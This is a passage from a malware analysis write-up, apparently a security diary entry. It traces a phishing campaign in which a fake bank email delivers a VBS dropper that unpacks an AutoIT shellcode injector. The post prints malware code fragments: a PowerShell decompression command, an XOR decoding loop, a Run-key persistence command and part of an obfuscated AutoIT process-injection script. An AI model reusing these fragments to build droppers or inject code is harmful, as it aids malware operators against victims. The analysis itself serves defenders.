AutoIT Payload Injector , (Tue, Jul 28th)

For a long time, AutoIT[ 1 ] has been pretty common in the malware ecosystem. Threat actors still use it because it s easy to write and powerful. Indeed, it can perform all the required actions to inject a payload into a remote process as you ll see below. Since last week, I detected a wave of similar emails that deliver the same kind of payload. The example I'll cover started with a fake bank email containing a RAR archive ( Bank_account_details.rar - SHA256:5c4ca58e41c009c664a7134df12b0fdc0815f572e117fe67ca35582f19d9deab). The archive contains a VBS script (SHA256:f88d9094a90f7000a3fb2cd7c981e03357ce2b39df9de5ee1d0742e619e3860f) This first script is pretty simple: it decodes a Base64 payload, dumps it on disk with a random name and invokes a PowerShell interpreter to decompress it (I beautified the script a bit): C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command $in='C:\Users\cape2\AppData\Local\Temp\tmp656234.bat.gz'; $out='C:\Users\cape2\AppData\Local\Temp\tmp656234.bat'; $fs=New-Object IO.FileStream($in,[IO.FileMode]::Open); $gz=New-Object IO.Compression.GzipStream($fs,[IO.Compression.CompressionMode]::Decompress); $ms=New-Object IO.MemoryStream;$gz.CopyTo($ms); $gz.Close(); $fs.Close(); [IO.File]::WriteAllBytes($out,$ms.ToArray()); Remove-Item $in Once unzipped, the VBS will execute the dumped script. Another PowerShell will be invoked to dump three new files on disk: vijewyufveonabghulluonouceyasi.exe wwman Ennnn These files are Base64 encoded and XOR with the keys 0x02 and 0x3D: $base64Bytes = [System.Convert]::FromBase64String($xkKnE6Nw3vPM) $key2 = [int] 2 $recoveredBytes2 = [Array]::CreateInstance([byte], $base64Bytes.Length) for ($i = 0; $i -lt $base64Bytes.Length; $i++) { $recoveredBytes2[$i] = $base64Bytes[$i] -bxor $key2 } $File2OutputPath = Join-Path $TargetFolder vijewyufveonabghulluonouceyasi.exe [System.IO.File]::WriteAllBytes($File2OutputPath, $recoveredBytes2) PowerShell will then invoke the following command: C:\Users\REM\AppData\Roaming\SetupFiles\vijewyufveonabghulluonouceyasi.exe C:\Users\REM\AppData\Roaming\SetupFiles\wwmaw Persistence is added via a classic Run key: reg add HKCU\...\CurrentVersion\Run /v Windows32 /t REG_SZ /d [...]\vijewyufveonabghulluonouceyasi.exe [...]\wwmaw Start-Process vijewyufveonabghulluonouceyasi.exe -ArgumentList wwmaw vijewyufveonabghulluonouceyasi.exe is an AutoIT3 interpreter (SHA256: bdd2b7236a110b04c288380ad56e8d7909411da93eed2921301206de0cb0dda1) wwman is the AutoIT script that will perform the injection of the shellcode stored in Ennnn: #NoTrayIcon Func _O($s) Local $d = For $i = 1 To StringLen($s) Step 2 $d = Chr(Dec(StringMid($s, $i, 2))) Next Return $d EndFunc Global $V_01 = ( \Ennnn ) Global $V_02 = ( C:\Windows\Syswow64\charmap.exe ) Global $V_03 = _O( 6B65726E656C33322E646C6C ) Global $V_04 = _O( 4F70656E50726F63657373 ) Global $V_05 = _O( 5669727475616C416C6C6F634578 ) Global $V_06 = _O( 577269746550726F636573734D656D6F7279 ) Global $V_07 = _